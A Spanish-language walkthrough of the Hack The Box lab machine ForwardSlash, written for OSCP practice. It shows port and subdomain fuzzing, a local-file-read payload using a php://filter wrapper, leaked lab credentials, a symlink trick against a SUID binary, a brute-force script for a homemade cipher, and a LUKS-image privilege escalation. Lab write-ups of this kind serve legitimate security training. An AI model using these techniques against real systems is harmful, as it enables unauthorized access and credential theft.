Saltar al contenido

HackTheBox – ForwardSlash – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina ForwardSlash de Hack the Box. Es una máquina Linux de nivel difícil donde se cobra una gran importancia la enumeración web, explota una vulnerabilidad LFI en el servidor mediante el uso de un wrapper y se rompe un algoritmo «casero» de cifrado, teniendo que levantar una imagen propia.

Enumeración

Comienzo escaneado los 65535 puertos existentes en el protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- --min-rate 10000 --open -n 10.10.10.183

En la máquina hay dos puertos abiertos. Escaneo los dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80 -sC -sV 10.10.10.183
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-15 17:39 CET
Nmap scan report for 10.10.10.183
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
|   256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_  256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://forwardslash.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.70 seconds

SSH – Puerto 22

Escaneo con nmap el método de autenticación habitilados por ssh para el usuario root y, por el resultado, la escalada de privilegios a root sea conseguir una contraseña y conectarme por ssh.

nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" 10.10.10.183

HTTP – Puerto 80

El script de nmap muestra que la página devuelve un redireccionamiento al dominio forwardslash.htb. Al intentar acceder a la web por el navegador también me redirige a ese dominio y me aparece un mensaje de error.

Seguramente la web está levantada sobre un hosting virtual. Introduzco la IP y el dominio en el fichero /etc/hosts y accedo a ella mediante el dominio.

La web muestra un mensaje que no me aporta ninguna información, no hay ningún enlace ni información en el código fuente.

Explotación

Tras enumerar directorios, con gobuster, y buscar vulnerabilidades con nikto sin éxito, se me ocurre que puede haber subdominios ocultos. Lanzo un ataque por fuerza bruta con wfuzz para buscarlos y encuentro uno llamado backup.

wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt -H 'HOST: FUZZ.forwardslash.htb' -u http://10.10.10.183/
wfuzz -c --hc=400 --hh=0 -w /usr/share/wordlists/wfuzz/general/common.txt -H 'HOST: FUZZ.forwardslash.htb' -u http://10.10.10.183/

Introduzco el subdominio backup.forwardslash.htb en el fichero /etc/hosts y accedo a él, llegando a una ventada de autenticación.

En esta ventada, ni en su código fuente, no encuentro ninguna información por lo voy al enlace de registrar cuenta y consigo crear un usuario con las credenciales admin:admin123.

Encuentro diversas opciones pero la única interesante es la de cambiar la imagen de perfil Change Your Profile Picture que me lleva a la url backup.forwardslash.htb.profilepicture.php.

Al acceder a ella y veo que me permite subir una imagen desde una url pero que tanto este campo como el del botón submit están deshabilitados. Para poder utilizarlos es tan fácil como acceder al código fuente y eliminar el campo disabled="".

Después de varias pruebas intentando subir una imagen o un archivo php malicioso sin éxito, se me ocurre que que puedo intentar leer ficheros desde este campo. Voy a lo fácil e intento leer el fichero /etc/passwd introduciendo en el campo el comando file:///etc/passwd y consigo leerlo con éxito, por lo que he encontrado una vulnerabilidad LFI (Local File Inclusion).

Me llevo esta ventana al Repeater de Burpsuite para trabajar con ella de forma mas cómoda.

Esta vulnerabilidad me permite leer ficheros existentes pero no ejecutar comandos por lo que tendré que buscar algún archivo que me pueda resultar de utilidad para acceder a la máquina. Comienzo buscando los directorios de este subdominio y encuentro el directorio /dev.

gobuster dir -u http://backup.forwardslash.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -q -e

Accedo a él y encuentro pero me genera un error 403.

Busco los ficheros con extensiones php, html y txt dentro de este directorio y solo encuentro el fichero index.php.

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensiones.txt http://backup.forwardslash.htb/dev/FUZZ.FUZ2Z

Al intentar acceder a este fichero, me aparece un mensaje justo al final del código.

Este mensaje me resulta bastante llamativo así que intento acceder nuevamente al fichero utilizando un wrapper de php para codificar la petición del LFI en base64.

php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/dev/index.php

Copio el código que se genera y lo descodifico. Como puedo ver en la siguiente imagen, he conseguido acceder al código fuente del fichero.

Hacia la mitad del fichero, encuentro las credenciales chiv:N0bodyL1kesBack/.

En el código indican que estas credenciales son para conectarse por FTP, pero las pruebo para conectarme por SSH y consigo acceder a la máquina.

Escalada de Privilegios

De chiv a pain

Con mi usuario actual, aunque es un usuario creado para ser usado por humanos, apenas dispongo de privilegios y no puedo acceder a la flag de usuario. Con Linux Smart Enumeration enumero el sistema por completo y, en la opción de binarios con el bit suid, encuentro uno llamado backup que, además está en mi PATH.

Ejecuto este binario para ver que hace y me aparece un mensaje de error con un código que, a primera vista, yo diría que es un hash en md5.

Ejecuto un ltrace sobre este binario para averiguar que hace.

El programa coge la hora del sistema, calcula un hash md5 con ella, e intenta acceder a un fichero con el nombre del hash.

Como desconozco el nombre del fichero al que intenta acceder y el binario /usr/bin/backup pertenece al usuario pain, busco ficheros que sean propiedad de este mismo usuario y encuentro el fichero /var/backups/config.php.bak.

find / -user pain -type f 2>/dev/null

Dado que es un backup de un fichero de configuración, seguramente habrá información que sea de utilidad pero no puedo acceder a él así que seguramente tenga que abrirlo a través del binario /usr/bin/backup.

Creo un binario en bash para poder leer el fichero config.php.bak con el binario backup.

i=$(backup | grep ERROR | awk '{print $2}')
ln -s /var/backups/config.php.bak ./$i
backup

Ejecuto el binario y encuentro las credenciales de un nuevo usuario (realmente y sabía la existencia de este usuario al verlo cuando he abierto el fichero /etc/passwd).

pain:db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704

Accedo a este usuario por SSH.

La flag de usuario la encuentro en /home/pain/user.txt.

De pain a root

En el directorio de inicio de pain encuentro una fichero llamado note.txt.

Es un mensaje que ha enviado Chiv a Pain en el que dice que ha cifrado todos los archivos importantes.

Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y, por lo que veo, se ha cifrado una imagen del disco con LUKS por lo que seguramente tenga que desencriptarla y montarla para conseguir escalar a root.

Accedo al directorio /home/pain/encryptorinator y encuentro el fichero ciphertext y un script en python llamado encrypter.py. Al intentar leer el fichero ciphertext me aparecen caracteres extraños por lo que seguramente sea un texto cifrado (como si el nombre no lo indicase).

Abro el script encrypter.py y encuentro que en él hay una función para encriptar y otra para desencriptar, cada una de las cuales toma dos cadenas.

def encrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
            else:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)


print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

La función decrypt seguramente sea la que necesito para leer el fichero ciphertext por lo que borro el resto del contenido del script y añado un código para que encuentre la clave (key) por fuerza bruta. Como seguramente esté en ingles, indico que pare el bucle for cuando encuentre las palabras the, be, and o of ya que entiendo que pueden ser las más comunes que puedan haber (para este idioma).

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)

ciphertext = open('ciphertext', 'r').read().rstrip()
for i in range(1, 165): 
    for j in range(33, 127): 
        key = chr(j) * i
        msg = decrypt(key, ciphertext)
        if 'the ' in msg or 'be ' in msg or 'and ' in msg or 'of ' in msg :
          exit("Key: {0}, Msg: {2}".format(key, len(key), msg))

Lo ejecuto y consigo leer la mayor parte del mensaje, con la key de 17 letras t. En el mensaje se indica que hay una imagen cifrada en la ruta /var/backups/recovery y que su key es cB!6%sdH8Lj^@Y*$C2cf.

Con la clave ya puedo ejecutar los comandos de sudo que necesito. Tras buscar información de como recuperar una imagen cifrada con LUKS, ejecuto el siguiente comando para crear el directorio backup.

sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup

Ahora ya puedo montar la imagen. Creo el directorio mnt y monto la imagen en él.

mkdir mnt
sudo /bin/mount /dev/mapper/backup ./mnt/

Entro al directorio y encuentro la clave privada root.

Copio la clave en mi máquina y le doy los permisos necesarios para funcionar (al ser una clave privada, tienen que ser limitados).

Utilizo el fichero para conectar por SSH a la máquina víctima.

ssh -i id_rsa root@10.10.10.183

Encuentro la flag de root en el directorio raíz del usuario.

Publicado enCriptografíaCTFHTBLinuxOSCP